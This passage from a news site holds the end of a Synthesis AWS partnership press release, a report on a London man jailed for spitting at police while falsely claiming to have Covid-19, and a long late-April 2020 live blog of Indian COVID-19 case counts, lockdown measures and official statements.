infrastructure that meets the most rigorous international compliance standards. Michael Shapiro, Synthesis Managing Director said, We are proud to be an experienced AWS Partner with multiple competencies and accolades. We have delivered AWS implementation and transformation programs for many blue-chip South African enterprises. We are excited to assist more enterprises locally with their migration to cloud, and to deliver the scale, cost savings and innovation that the platform promises, as well as maximise the benefits of the region for customers in Africa. About Synthesis Synthesis is a true South African success story. Synthesis believes that providing innovative solutions based on emerging technologies will help their clients become globally competitive. Synthesis focuses on banking and financial institutions, retail, media and telecommunications sectors in South Africa and other emerging markets. In 2017 Capital Appreciation Limited, a JSE-listed Fintech company, acquired 100 per cent of Synthesis. Following the acquisition, Synthesis remains an independent operating entity within the Capital Appreciation Group providing Cloud, Digital and RegTech services as well as corporate learning solutions through the Synthesis Academy. An Indian-origin London-based man has been jailed for eight months after he spat at a police officer after lying about having Covid-19 because he was angry, Scotland Yard said on Tuesday. Karan Singh, 23, pleaded guilty at the Croydon Crown Court to three counts of assault on an emergency worker, using threatening words to cause harassment and in possession of a class B drug (cannabis). He was sentenced immediately to four months imprisonment. He was also sentenced to an additional four months imprisonment, to run consecutively, for being in breach of a suspended sentence making his total sentence eight months. The police said that on March 14, officers were on patrol when they spotted Singh sitting in a car in a driveway in Croydon. Officers recognised Singh as being disqualified from driving and so they approached the car and spoke to him. Singh denied he was disqualified from driving and stated that he had been given his licence back. As officers were speaking to Singh, they noticed a strong smell of cannabis coming from him and the vehicle. Officers asked him about the smell and he admitted smoking cannabis. As one of the officers began explaining the grounds for a search under the Misuse of Drugs Act, Singh attempted to run away. The vehicle stalled and officers were able to detain him. A snap bag of cannabis was found and Singh admitted to having cannabis for personal use. Singh was arrested and when he was taken to a south London police station he was said to have been verbally abusive to the interviewing officers. Following the interview, Singh became aggressive and stated that he would not go back to his cell. He had to be physically taken back by a custody sergeant and PC, with a DC and Designated Detention Officer (DDO) also stepping in to support their colleagues. Once at the cell door, Singh continued to struggle with the officers. The officers managed to get him into the cell and when the door was partially closed, Singh spat directly into the custody sergeants face. Some of the spit also hit the DDOs lip and the DCs cheek. Singh then tried to prevent officers from closing the cell door, during which he told the custody sergeant that he had coronavirus. He was further arrested on suspicion of assaulting an emergency worker. Following the incident, Singh was interviewed behind his cell door for safety reasons. He admitted to spitting at the officers stating he did it because he had been waiting for hours and he got stressed out. When asked if he had coronavirus, he admitted that he did not and stated he said it because he was angry. At the conclusion of the interview, Singh was asked if he had anything he wanted to say and he said: Sorry to the officers. Superintendent Dan Knowles said: It is never acceptable to spit at an emergency worker, whether it is during these unprecedented times or not. Singh carrying out this vile act and then lying about having coronavirus was a deplorable thing to do and it caused a great deal of distress for the officers and staff who were just trying to do their job and keep London safe. SHARE THIS ARTICLE ON Coronavirus Outbreak Updates: With 729 new coronavirus cases recorded in Maharashtra , count reaches 9,318; with 31 deaths, toll mounts to 400, says state health department. Auto refresh feeds The Union health ministry, in its evening update, said there has been a spike of 1,463 cases since Sunday evening, taking the case count to 28,380. The number of active COVID-19 cases stood at 21,132, while 6,361 people have recovered, and one patient has migrated, the ministry said. The total number of cases includes 111 foreign nationals. With 60 deaths reported in the past 24 hours, the toll rose to 886. India on Monday recorded its highest single-day spike in toll due to COVID-19 as 60 deaths and 1,463 new infections were reported in the last twenty-four hours, taking the countrywide total to 28,380 and the number of deaths to 886. Those in the orange zone are South 24 Parganas, Hooghly, Paschim Medinipur, Purba Bardhaman, Paschim Bardhaman, Kalimpong, Nadia, Jalpaiguri, Darjeeling, Murshidabad and Malda. The eight districts in the green zone are Alipurduar, Cooch Behar, Uttar Dinajpur, Dakhin Dinajpur, Birbhum, Bankura, Purulia and Jhargram. Howrah, North 24 Parganas and Purba Medinipur districts have been declared as red zones, besides Kolkata. Eleven districts have been identified as orange zones, while eight are in the green zone, as per the list released by the state government. The West Bengal government on Monday released a list, saying four districts, including Kolkata, have been declared as red zones in the wake of the COVID-19 outbreak, and 287 areas in the metropolis identified as containment zones. After the US, Europe has been the worst hit by the virus. In India, mainly because of the early and aggressive preventive measures, the fatalities have remained low at 886 and infections at 28,000. The deadly virus, which originated in China in mid-November has so far killed more than two lakh people and infected over 30 lakh globally. The largest number of them are in the US: more than 56,000 deaths and over 10 lakh infections. Germany is looking at things and we''re looking at things and we''re talking about a lot more money than Germany is talking about, Trump told reporters at his White House news conference Monday. The United States is doing a "very serious" investigation against China, President Donald Trump said, indicating his administration is looking at a lot more money as compensation from Beijing than euro 130 billion being sought by Germany. Following the COVID-19 test, he was diagnosed with the disease, the officials said. The male staff nurse in a government facility is the state's first health worker to get infected with the deadly virus, the officials said, adding that he was asymptomatic. The Koraput patient, who had returned from Kolkata on April 14 to join duty, was put under quarantine in view of his travel history, and had not joined work. The patient from Koraput is a 22-year-old male health worker from Dasmantpur block, the first COVID-19 case reported from the tribal-dominated district as well as south Odisha. Eight people, including four women, tested positive for COVID-19 on Monday, taking the total number of cases in Odisha to 111, officials said. While six fresh cases were reported from Balasore, one each was detected from Jajpur and Koraput districts, they said. United States of America (USA) recorded 1,303 COVID-19 deaths in the last 24 hours as per Johns Hopkins University tally The child's mother has also tested negative for the infection, they said. The boy was brought dead to the hospital, which has a dedicated facility for treating COVID-19 patients, at 10 am on 25 April, senior GIMS officials said. PTI could not immediately confirm the cause of the child's death. However, the authorities at the Government Institute of Medical Sciences (GIMS) denied that the child died due to coronavirus as his sample was declared negative on Monday. Two days after a four-month-old baby was 'brought dead' to a government-run hospital in Greater Noida, officials on Monday confirmed that his father has tested positive for the infection. Patients were seen in the emergency wards and the three OPDs, with 21 of those being seen in out-patient departments, and 12 in the emergency department. NDMC Commissioner Varsha Joshi said, complete sanitization at the hospital premises was done on Sunday. The largest municipal hospital run by the North Delhi Municipal Corporation was closed down on Saturday. Sources said the authorities will be examining the inquiry report in the wake of an allegation by her coworkers that the nurse continued on her job despite complaining of having symptoms. Services in emergency wards, including flu clinic, and three OPDs at the civic-run Hindu Rao Hospital were resumed from Monday, days after the facility was closed down after a nurse there had tested positive for COVID-19, authorities said. The Delhi Government on Monday had lifted the bar on veterinarians, plumbers, and electricians after reviewing the COVID-19 situation in the national capital. In the order, Delhi Disaster Management Authority (DDMA) also allowed inter-state travel of health workers, lab technicians, and scientists, ANI reports. He said the facility is practically closed due to this severe crisis. According to a senior official, "Sixty-eight more samples were tested, whose reports came out on Monday. Five out of those came out positive, and some samples were sent to another lab, out of which one tested positive. So, a total of 65 people from the hospital are affected by coronavirus now". One more doctor and five other staffers of the Delhi government's Babu Jagjivan Ram Memorial Hospital in Jahangirpuri tested positive for coronavirus on Monday, taking the total number of COVID-19 cases at the facility to 65, officials said. Till Sunday, the number of staffers infected with the virus stood at 59. According to the latest WHO data, 85,530 new cases of infection have been registered globally over the past day, with 4,982 deaths. The overall number of COVID-19 cases worldwide increased to 2,878,196 and the death count reached 198,668. The global death toll from the novel coronavirus has increased over the past 24 hours by nearly 5,000 to top 1,98,000, said the World Health Organisation (WHO). On Tuesday, seven new COVID-19 cases were reported in Odisha, taking the total number of cases to 118. A total of 37 patients have been cured/recovered, with 1 death reported to date, said Odisha Health Department. The number of dead in the US from COVID-19 surpassed 55,000, according to a tally by Johns Hopkins University. Trump said the nation has lost a lot of people. Trump was asked during a White House news conference on Monday whether an American president deserved to be re-elected after losing more Americans in six weeks than died in the Vietnam War. Approximately 58,000 U.S. troops were killed during the Vietnam War. Trump has at times this month cited 60,000 as the estimate of how many people would die from COVID-19. President Donald Trump is projecting that coronavirus deaths in the United States could reach 70,000 but says original projections were much higher as he explained why voters should consider re-electing him in November. The number of containment zones in the national capital rose to 99 on Monday. After an increase in the number of patients recovered last week - more than 800 in a week - the day saw no fresh recovery of patients. So far, 54 people have died of coronavirus in the city, officials said. Two Aam Aadmi Party (AAP) volunteers engaged in food distribution at a Delhi government-run centres in Mehrauli also tested positive, following which several localities in the area have been declared as containment zones. The cases also include the private secretary of southwest Delhi District Magistrate Rahul Singh, prompting the IAS officer to go into self-quarantine, an official said. With 190 fresh cases reported in Delhi, the total number of coronavirus cases climbed to 3,108 in the city on Monday, but no fresh death was reported for the second successive day, according to Delhi government authorities. The reported active COVID-19 cases in India now stand at 21,632 and as many as 6,869 COVID-19 patients have been cured and discharged so far, the Union Health Ministry has said in its latest update. Total confirmed COVID-19 cases in India have risen to 29,435, according to the latest update from the Union Health Ministry on Tuesday morning, with the toll in the country due to the novel coronavirus pandemic rising to 934. With 8,590 confirmed novel coronavirus cases, Maharashtra remains the worst-affected state in the country. According to the latest data from the Union Health Ministry, the state has reported 369 COVID-19 deaths so far. As many as 1,282 patients have recovered. With 3,548 confirmed novel coronavirus cases, Gujarat remains the second-most affected state in the country. According to the latest data from the Union Health Ministry, the state has reported 162 COVID-19 deaths so far. As many as 394 patients have recovered. West Texas Intermediate (WTI) crude futures skidded by as much as 16% and were off 14.7%, or $1.88 cents, at $10.90 a barrel as of 0158 GMT. WTI plunged 25% on Monday. Brent crude futures fell to a low of $18.97 and were last down 4.1%, or 82 cents, at $19.17 a barrel. Oil prices slumped on Tuesday, extending the previous session's slide, on worries about the limited capacity to store crude worldwide and expectations that fuel demand may only recover slowly as coronavirus pandemic restrictions are gradually eased US. Sneed traveled throughout the United States early in his career to sing the gospel with the Georgia Mass Choir. He arranged music on their albums and appeared with the choir in 1996 film The Preachers Wife, starring Whitney Houston and Denzel Washington. Sneeds publicist Bill Carpenter said the singer died early Monday at a hospital in Jacksonville, Florida. Sneed earned a Grammy nomination for his work on the Youth For Christs 1999 album Higher. Grammy-nominated gospel singer Troy Sneed has died from complications with the coronavirus. He was 52. After five asymptomatic people who returned from Shri Hazur Sahib in Nanded, Maharashtra, tested positive for COVID-19 in Tarn Taran district, all those returning from the pilgrimage will be put in quarantine facilities of the district administration, and be tested for COVID-19, said Department of Health in Punjab. "The Maharashtra government has decided to bring back the students who had gone to Kota. We will send some 100 buses from Dhule to Kota for the purpose, Parab said. A number of students from Maharashtra have been staying at Kota to take coaching classes for the preparation of various competitive entrance examinations after Class 12. Buses of the Maharashtra State Road Transport Corporation (MSRTC) will be sent to Kota in the next two days, Parab said late Monday night. The Maharashtra government has decided to send about 100 buses to Kota in Rajasthan to bring back nearly 2,000 students stranded there due to the lockdown, Maharashtra Transport Minister Anil Parab has said. According to the Ministry of Health and Family Welfare, there are 697 coronavirus cases in West Bengal including 20 deaths. The doctor's wife has also tested positive for COVID-19 and is undergoing treatment. Dr Biplab Kanti Dasgupta, Assistant Director of the West Bengal Health Services, is the first doctor to die of COVID-19 in the state. The 60-year-old doctor had tested positive last week and was admitted to a hospital in Kolkata. West Bengal Orthopaedic Association has demanded state honour for a 69-year-old doctor, who died due to COVID-19. The deceased, named Dr Sisirkumar Mandal, was a senior Orthopaedic surgeon. Health and Family Welfare Ministry has issued guidelines for home isolation of people who either have very mild COVID-19 symptoms or are in the pre-symptomatic phase. Such patients with requisite self-isolation facility at their residence will now have the option for home isolation. Guterres told the Security Council that even before the current crisis, young people were facing enormous challenges. We can already see such groups taking advantage of the COVID-19 lockdowns, intensifying their efforts on social media to spread hatred and to recruit young people who may be spending more time at home and online, he said. The UN Secretary-General made the remarks on Monday during a video conference to review the five years since its adoption of a landmark resolution on youth, peace and security. UN chief Antonio Guterres has warned that extremist groups are taking advantage of the COVID-19 lockdowns and intensifying efforts on social media to recruit youths online by exploiting their anger and despair, asserting that the world cannot afford a lost generation due to the unprecedented global health crisis. A doctor has tested positive for COVID-19 in Uttar Pradesh's Bijnor district on Tuesday. He has been admitted to isolation ward hospital in Meerut. A total of 28 cases have been reported in Bijnor, to date, said District Magistrate, Bijnor. One more COVID-19 case was reported on Tuesday in Mohali, taking the total number of cases to 64, out of which 27 are cured. The district has reported two deaths to date, said Girish Dayalan, DC Mohali in Punjab. Seven out of 596 samples tested positive for COVID-19 in Lucknow on Tuesday. Six people are from Lucknow while one is from Sitapur, according to King George's Medical University (KGMU), Lucknow, reports ANI The curfew violators were produced before the concerned magistrates. A total fine of 91,200 was imposed on Sunday and Rs 1,07,800 on Monday. Police said strict action will be taken against those who continue to violate the restrictions. In all, 889 violators were detained with 731 vehicles on Sunday. Police also detained 769 curfew violators with 762 vehicles on Monday, said L Kailun, the Additional Director General of Police (ADGP) in-charge of law and order. The Manipur Police detained 1,658 people for violating the curfew and the lockdown norms over the past two days and collected fines amounting to Rs 1.99 lakh, officials said on Tuesday. The Thai Nationals, who possessed tourist visas engaged themselves in Islamic preaching despite suffering from COVID- 19, police said. The arrest was effected at the hospital days after cases were registered against them under relevant sections of IPC. Police personnel were posted outside the isolation ward of the hospital. The action was taken based on a complaint by local Tahsildar lodged with the police. They were shifted to Puzhal prison in Chennai after being discharged from the Perundurai IRT Government Medical College Hospital in the district. All the six were shifted to Puzhal prison on Monday night with police security, they said. Six Thailand nationals were arrested for violating their visa norms and were undergoing treatment for coronavirus at a government hospital near Erode after recovering from COVID-19, police told PTI on Tuesday. With no COVID-19 positive case in Thiruvananthapuram, the city has been removed from the list of hotspots in Kerala, reports ANI. Foreign minister S Jaishankar and his Chinese counterpart Wang Yi will be among those to take part in the BRICS Foreign Ministers Extraordinary Conference on the coronavirus pandemic on Tuesday, reports ANI. India will participate in a key meeting of the Brazil-Russia-India-China-South Africa (BRICS) foreign ministers on Tuesday to discuss the fallout of the outbreak of the coronavirus pandemic. The meeting, to be held by the rotating chair Russia, will be convened via video conference, reports Hindustan Times. Some locals got angry after a PCR (police control room) van reached a locality in Dindoli area to enforce the lockdown in the wake of the coronavirus outbreak, he said. Five persons were detained for the attack on the policemen, Surat's Deputy Commissioner of Police RP Barot said. A policeman was injured when some locals allegedly threw stones at the security personnel who were trying to enforce lockdown in an area of Gujarat's Surat city on Tuesday morning, an official said, PTI reports. The total number of positive cases in Delhi stands at 3,108 now, of which 190 cases were reported on Monday. 877 patients have been cured, while 11 are on a ventilator. The toll stands at 54 with the doubling rate of COVID-19 cases in Delhi at 13 days, Delhi Health Minister Satyendra Jain told ANI. Eight more persons have tested positive for COVID-19 in Agra on Tuesday, taking the total number of cases to 389, which includes 54 cured/discharged cases. "We are tracing the contacts of positive cases," District Magistrate Prabhu N Singh told ANI. According to the scientists from the University of California (UC) San Diego Health in the US, patients who reported loss of smell were 10 times less likely to be hospitalised for COVID-19 compared to those without the symptom. The findings, published in the journal International Forum of Allergy & Rhinology, follows an earlier study that validated the loss of smell and taste as indicators of infection with the novel coronavirus, SARS-CoV-2. People who experience loss of smell as one of the COVID-19 symptoms are likely to have a mild to moderate clinical course of the disease, according to a study which may help health care providers determine which patients require hospitalisation. The rupee opened weak at 76.33 at the interbank forex market and then fell further to 76.40, down 15 paise over its last close. The rupee had settled at 76.25 against the US dollar on Monday. Forex traders said the weakness in the rupee was largely due to muted domestic equities and strengthening of the US dollar. Moreover, rising coronavirus cases in the country also weighed on the local unit. The rupee depreciated 15 paise to 76.40 against the US dollar in opening trade on Tuesday, strengthening American currency overseas and volatility in domestic equities. The rapid spread of coronavirus continues in Andhra Pradesh as 82 fresh cases were reported on Tuesday, the state's case count is now at 1,259. There have been no reports of new deaths, according to the latest government bulletin. This is the first individual in CBP custody to test positive for COVID-19, the agency said. The Indian national, who was not identified, displayed flu like symptoms, following which he was evaluated by medical personnel and placed in quarantine. He was tested for the COVID-19 and his evaluation came back positive. While the three Mexican nationals were returned to their country, the Indian was transported to a border patrol facility for processing, CBP Acting Commissioner Mark Morgan said. The US Customs and Border Protection (USCBP) said that on 23 April, a border patrol agent apprehended three Mexicans and the Indian national suspected of having illegally crossed the US-Mexico border near California. A 31-year-old Indian man, who was apprehended on the suspicion of illegally crossing into America through the US-Mexico border, has tested positive for the COVID-19, becoming the first individual in the border protection agency's custody to be infected with the virus, reports PTI. He also said, "For the last 14 days, our doubling rate is 8.7, while for the last 7 days, it is 10.2 days. In the last 3 days, it is 10.9 days roughly." Health Minister Harsh Vardhan while addressing the media on coronavirus pandemic on Tuesday said, "No fresh case reported in 80 districts for last 7 days. In 47 districts, no case has been reported in the last 14 days, while 39 districts have not reported a case for the last 21 days. 17 districts have not reported a case for the last 28 days." "Because of their age, these police personnel are at a higher risk. Therefore, we are allowing them to take leave during these days," the official said. "In view of this, we have decided to protect our policemen and officers - who are above 55 years of age and having some pre-existing ailment and asked them to take leave," he said. During an analysis, it came to light that the three deceased and the other police personnel currently undergoing treatment for coronavirus disease were above the age of 50, a senior Mumbai Police official said on Tuesday. The move comes after COVID-19 claimed lives of three Mumbai Police personnel in the last three days. Mumbai Police have asked their personnel who are above 55 years of age and having some pre- existing ailment to go on leave, in a bid to protect them from the coronavirus infection. 8 new COVID-19 cases were reported in Karnataka from Monday 5:00 pm to Tuesday noon. This takes the total number of cases to 520, according to the Karnataka government's latest bulletin. He further said: "I am concerned about the challenges faced by Indian seafarers in these testing times and I appreciate their work for moving the supply chain in the world." "I am trying to get the details of stranded seafarers. Based on it, the Shipping Ministry will chart out a plan for evacuation of stuck seafarers," Shipping Minister M L Mandaviya told PTI. Thousands of Indian seafarers are currently stuck aboard cruise ships and cargo vessels in far off waters, and maritime bodies have been demanding from the government strategies for bringing them home fearing that delays might result in a disruption in the supply chain. The government will chart out a plan for evacuation of seafarers stuck on international waters amid COVID-19 pandemic, Union Minister Mansukh L Mandaviya said on Monday. But the report said that there accuracy were found to be around 5 percent. India has cancelled orders for around half a million rapid testing kits from China after they were found "faulty" in field conditions. A BBC report said that after finally allowing the use of imported rapid test kits after initial reluctance, the government has paused its use, and has also cancelled further shipment of the product. State's were building pressure on ICMR to allow their use amid concerns that India was not testing enough samples to stop the spread of the virus. The device developed by IIT Guwahati functions as an aerosol obstruction box which can be placed atop the patient's bed on the head-side, limiting the flow of virus-laden droplets from the patient to the doctor, especially during the process of intubation. Intubation is the process of inserting a tube, called an endotracheal tube (ET), through the mouth and then into the airway. It is done so that a patient can be placed on a ventilator to assist with breathing during anaesthesia, sedation or severe illness. Students at the Indian Institute of Technology (IIT) have developed low-cost intubation boxes for dealing with COVID-19 patients facing breathing issues and requiring assistance in the form of endotracheal intubation. A police official said the helpline will serve as an additional source of information for the family members to check on the well-being of their relatives at this hour. While healthcare workers are fighting the battle against coronavirus inside hospitals, police personnel are manning the roads to enforce the lockdown. The helpline number 011-27491208' with STD facility was started on Monday to enable the family members of Delhi Police officials to know about the well-being of the security personnel, officials said on Tuesday. The Delhi Police has launched a helpline number for family members of its personnel who are working round-the-clock to ensure effective implementation of the nationwide lockdown to curb the spread of coronavirus. The notification said "action taken report" by the schools should be intimated to the state government. Commissioner Education (School) T Ranjit Singh in a notification on Monday said class 11 examination for the academic year (2019-20) be done away in view of outbreak of COVID-19 pandemic and students be promoted to class 12 based on term test performance, the official said. The Manipur government has approved the promotion of class 11 students of state schools to the next class, a senior Education Department official said on Tuesday. The bench, also comprising Justices SK Kaul and BR Gavai, was dealing with an application seeking provision for PPE for health workers including doctors, nurses, ward boys, medical and para-medical professionals who are working in non-COVID treatment areas keeping in view that fact that coronavirus infection from asymptomatic patients is reported to be on the rise. A bench headed by Justice NV Ramana, hearing the matter through video-conferencing, passed the direction after it was informed that asymptomatic COVID-19 patients are reported to be on the rise in India. The Supreme Court has directed the Centre to make suggestions in the guidelines for rational use of personal protective equipment so that the PPE kits are provided to all medical professionals who are working in non-COVID treatment areas in the country. A 16-year-old girl from Salmara Bongaigaon in Assam, who is a secondary contact of a Markaz attendee, has tested positive for COVID-19. The number of COVID-19 patients in Assam now stands at 36, said health minister Himanta Biswa Sarma. "We are following necessary protocol and the health ministry has been informed and all the due processes will be followed. So, we are closed for 48 hours," Kumar added. He further said that those who came in contact with the person have been asked to go on self-quarantine. "A director-level officer working at NITI Bhavan has been tested positive for COVID-19. Today at 9 am, he got his report, and then he informed authorities," Alok Kumar adviser at NITI Aayog told PTI. The NITI Aayog building in the National Capital has been sealed for 48 hours, after a director-level officer tested positive for coronavirus, a senior official said on Tuesday. Taking a serious view of the 'ill-treatment' meted out to its Cobra Commando, the CRPF has written a letter to the Karnataka police demanding an investigation into the matter. According to the information shared on social media, Sawant was washing his bike when a police team reached the spot and started beating him up for not wearing a mask during the lockdown. State DGP Praveen Sood has ordered an inquiry into the incident, which has triggered a row after a video of it went viral. In the clip, some police constables are purportedly seen hitting CRPF soldier Sachin Sawant with sticks in Belagavi. A CRPF jawan has been arrested in Karnataka for allegedly defying the COVID-19 lockdown norms with the paramilitary force taking strong exception to his 'ill-treatment', following which an inquiry has been ordered by the state police. After hearing the complaints that people of a community were selling vegetables after contaminating them with saliva in an attempt to spread coronavirus, I advised them to not purchase from them if they have any doubts in their minds. After the situation gets normal then decide what they want, he told Indian Express. Tiwari reportedly made this statement during his visit last week to the Barhaj Nagar Palika. Suresh Tiwari, who is the MLA from Deorias Barhaj constituency, was allegedly heard telling people, Keep one thing in mind, I am telling everyone openly, no one should purchase vegetables from miyas (Muslims). A video of BJP MLA from Uttar Pradeshs Deoria district, in which he is seen allegedly telling people not to buy vegetables from Muslim vendors, has been circulated widely online. However, they shall always remain available on phone and electronic means of communication and shall attend office physically as and when required, it said. According to the office order issued by the NGT, the section heads/in-charge of all sections shall prepare rosters of staff required to attend office physically by rotation and the staff members not required to present physically at the office. As for the remaining staff, up to 33 percent of the strength will physically attend the office as separately notified from time to time, the NGT said. The National Green Tribunal Tuesday issued instructions regarding its functioning from 4 May, when the COVID-19 lockdown is slated to be relaxed, stating that the Chairperson, members, and officers (Deputy Registrars and above) will attend the Office with 100 percent attendance. 19 inmates of Central Jail of Indore, who are currently lodged at a temporary jail, have tested positive for coronavirus on Tuesday, Chief Medical and Health Officer Indore Praveen Jadia told ANI. A flower vendor in the Koyambedu wholesale market for vegetables, fruits and flowers, which caters to the metropolis, also tested positive, another official said. As on Monday, Tamil Nadu had 809 active cases. "A writer and a constable attached to the Nungambakkam police station" here tested positive for the deadly virus, a senior police official said. Already, some police personnel in Coimbatore and other cities in Tamil Nadu have been affected by the virus. Authorities have taken up disinfection work and testing of those associated with the trio who become the latest COVID-19 patients, taking the total in the state to 1,940, they said. Two city police personnel and a flower vendor at the Koyambedu market here on Tuesday tested positive for the coronavirus, officials said. The current nationwide lockdown, imposed to contain the spread of coronavirus, will be in force till 3 May. "To restrict the movement of people is the easy part of the job. The Centre should give some guidelines on how to unlock," Sule said in her address via Facebook. Sule, the Lok Sabha member from Baramati in Maharashtra's Pune district, also said that it is her personal opinion and such a decision should not be taken in a hurry, but by adhering to social distancing norms with military-like discipline. NCP leader Supriya Sule on Tuesday urged the Centre and the Maharashtra government to initiate together the process of ease the lockdown in a phased manner in areas which are not or less affected by COVID-19, to bring the economy back on track. On Tuesday, Rajasthan has reported seven new cases out of which 6 are from Jaipur and one from Jodhpur. This takes the total positive cases on Tuesday to 73 in Rajasthan while total positive cases in the state stand at 2335, according to Rajasthan Health Department With this, the number of positive cases reported on Monday touched 69 the biggest-ever spike witnessed in the state where the contagion has now spread to 25 out of 38 districts According to Principal Secretary, Health, Sanjay Kumar, test reports of the woman, a resident of Nepura village adjoining the district headquarters of Bihar Sharif, came late on Monday. She had recently returned from Delhi. A 26-year-old woman has tested positive for COVID-19 in Bihar's Nalanda district, taking the total number of cases in the state to 346, a top official said here on Tuesday, reports PTI. Union Health Minister Dr Harsh Vardhan on Tuesday said that India will be able to produce RT-PCR and antibody test kits in India by May. "All processes are in advanced stage and production will start after getting approval from ICMR. It will help us in meeting our target of 1 lakh tests per day by 31 May," he added. Indian government handed over on Tuesday a consignment of medical supplies to the Health Minister of Bhutan Dechen Wangmo, including Hydroxychloroquine tablets. India would continue to extend all possible support to Bhutan to minimize the health and economic impact of COVID-19 pandemic, said the Indian embassy there. "According to experts, we need to increase the periphery of sealed areas in Delhi to fight COVID-19 better," he added while reviewing meeting on coronavirus situation in Delhi. In Delhi, 4.11% health workers (including 13 paramedics, 26 nurses, 24 field workers, 33 doctors) are affected by COVID-19, said Union health minister Dr Harsh Vardhan on Tuesday. "This is worrying and there are currently about 100 hotspots in Delhi. This number should go down," said he said reports ANI. Prime Minister Narendra Modi on Tuesday held a discussion with Indonesian President Joko Widodo over the coronavirus situation in the two countries. A Bandra court on Tuesday granted bail to accused Vinay Dubey on a personal bond of Rs 15,000. He was arrested in connection with the gathering of migrant workers at Bandra on 14 April. "The guidelines also adds that the patient should regularly inform his health status to the district surveillance officer for further follow up by the surveillance teams. The caretaker and all close contacts of such cases should take Hydroxychloroquine as a preventive medication according to the protocol and as prescribed by the treating medical officer," the report said. The Indian Express quoted the new guidelines as saying that "medical officers can recommend home isolation to those patients who have been clinically categorised as a very mild case or pre-symptomatic case, provided they have the requisite self-isolation facility at their residence so as to avoid contact with other family members." Reports said that the new guidelines issued by the Ministry of Home Affairs (MHA) on Tuesday said that coronavirus patients "with mild coronavirus symptoms" can opt for home isolation. The Asian Development Bank on Tuesday said, "$1.5 billion loan approved to Government of India to help fund its response to COVID-19 pandemic, incl support for immediate priorities such as disease containment and prevention, as well as social protection for poor and economically vulnerable sections of the society." The Karnataka government is likely to allow shops in the state's green zones to open from Wednesday, with 50 percent of the workforce, India Today reported. However, this relaxation doesn't apply to malls, the report said. The Maharashtra government on Tuesday ordered the sanitation of the state secretariat after COVID-19 cases were reported in the office. The building will remain shut for two days, reports said. At least 112 policemen have tested positive for coronavirus in Maharashtra, out of which three head constables from Mumbai have succumbed to the virus last week. In Tuesday's briefing of the various central ministries, ICMR was absent again. Only the MHA and health ministry are present at the briefing. "IMCT held discussions with various stakeholders including textile and diamond industries, who are major employers of labourers. Most labourers have received the pay for last month. Central team has told Surat administration to prepare future plans as well," she added. MHA joint secretary PS Srivastava said that the IMCT visiting Surat found that "the administration is conducting extensive testing so that COVID-19 cases are identified in the initial stages itself". "Plasma therapy is being experimented with, however, there is no evidence yet that this can be used as a treatment. National level study has been launched by the ICMR to study the efficacy of the method," the statement said. Union health ministry joint secretary Lav Aggarwal reiterated that although there is a lot of speculation around the effectiveness of plasma therapy to treat COVID-19 patients, it's necessary to be cautious with the possible method of treatment until there is concrete information after proper research. "Our recovery rate is now 23.3 percent. This is a progressive increase in recovery rate," said Lav Agrawal, joint secretary, Health Ministry With 1,543 new cases in the last 24 hours, the total COVID-19 cases in the country are now at 29,435. Meanwhile, 684 patients have recovered in the last 24 hours. "Until ICMR concludes its study and robust scientific proof is available, plasma therapy should be used only for research or trial purpose. If plasma therapy is not used in proper manner under proper guideline then it can also cause life threatening complications," said Union health ministry joint secretary Lav Aggarwal. "It's still in experimental stage, right now even ICMR is doing it as an experiment to identify and do additional understanding of this therapy. Till it is approved no one should use it, it'll be harmful to patient and illegal," he said. Gadkari also suggested that state transport ministers should explore operationalising app-based two-wheeler taxis especially in rural areas which will assist farming communities with smoother movement. Union Minister of Road Transport and Highways, Nitin Gadkari on Tuesday called for urgent action to facilitate inter-state movement of trucks and lorries carrying essential goods to ease public life during COVID-19 pandemic. "There has been progress in COVID-19 recoveries in the state. We are also increasing our capacity to do COVID-19 tests. In one week's time, we will be able to do 10,000 tests per day," the statement said. Rajasthan government on Tuesday said that so far, there are 2,328 COVID-19 positive cases in the state. Health Ministry joint secretary Lav Agarwal on Tuesday said that the doubling rate of COVID-19 cases in India now stands at 10.2 days. An Inter-Ministerial Central Team on Tuesday inspected different locations in Darjeeling to assess the ground situation, in wake of COVI-19 pandemic. India Today reported that Tamil Nadu chief minister Edappadi K Palaniswami is likely to meet with the state's medical expert committee on Wednesday to take a decision regarding the extension of the lockdown. The state has a total of 1,937 coronavirus cases, with 570 being in Chennai alone. Hindpiri is put under large containment zone category while remaining 14 are in micro-zone category. One or two positive cases reported from micro zones. The Ranchi district administration on Tuesday said that 15 containment zones have been made in Ranchi, including the previous Hindpiri area, which was the hotspot. The Karnataka government on Tuesday said, "As of 5 pm on 28 April 2020, cumulatively 523 COVID-19 positive cases have been confirmed in the state, it includes 20 deaths and 207 recoveries. Also, one death due to non-COVID-19 cause." The force also asked all personnel above 52 years of age with previous medical conditions like diabetes, hypertension to stay at home. The Mumbai Police on Tuesday told all personnel above 55 years of age to stay at home, after the deaths of three personnel due to coronavirus. The Jammu and Kashmir government said that 19 new COVID-19 positive cases have been reported in the union territory in the last 24 hours. All the new cases are from Kashmir division. The total number of cases in the union territory stands at 565, which includes 381 active cases. Assam minister Himanta Biswa Sarma said that a person from the Goalpara district, a secondary contact of a Markaz attendee, has tested COVID-19 positive. The number of COVID-19 patients in Assam now stands at 37. Active hospital cases are at nine. Kerala chief minister Pinarayi Vijayan said that four more people tested positive for COVID-19 on Tuesday, taking the total number of cases in the state to 485. Delhi deputy chief minister Manish Sisodia on Tuesday said, "It will not be possible to conduct the remaining exams of CBSE 10th and 12th, hence the children should be promoted on the basis of internal exams only as it was done for the students of class 9 and 11." "For the next year, the entire syllabus should be reduced by at least 30 per cent and the entrance examinations of JEE, NEET, and other higher education institutions should also be taken on the basis of the reduced syllabus," Delhi deputy chief minister Manish Sisodia said. He said, "Shared Indias experience and underlined our commitment to international cooperation and reformed multilateralism." External Affairs minister S Jaishankar on Tuesday said that he had taken part in the BRICS Foreign Ministers meeting on the coronavirus pandemic. News18 Delhi reported that a 55-year-old CRPF jawan died due to coronavirus in Delhi's Safdarjung hospital on Tuesday. He was reportedly posted in the 31st batalion in Noida and hails from Barpeta in Assam. Mumbai's Dharavi saw the highest jump in coronavirus cases on Tuesday, with 42 new cases reported. Four deaths were also reported, taking the toll up to 18. In the last 24 hours, 226 COVID-19 positive cases were reported in Gujarat, taking the total number of positive cases in the state to 3,774, the Gujarat health department said. Maharashtra health minister Rajesh Tope on Tuesday said, "I have not heard what exactly ICMR has suggested today on plasma therapy. But I know that we are doing it on experimental basis after ICMR allowed us to do so. I want to tell you that we have seen good results on two patients." Reports said that a Delhi Police crime branch constable on Tuesday tested positive for coronavirus. India Today reported that he was part of the team attached to the Nizamuddin Markaz. Additionally, no new 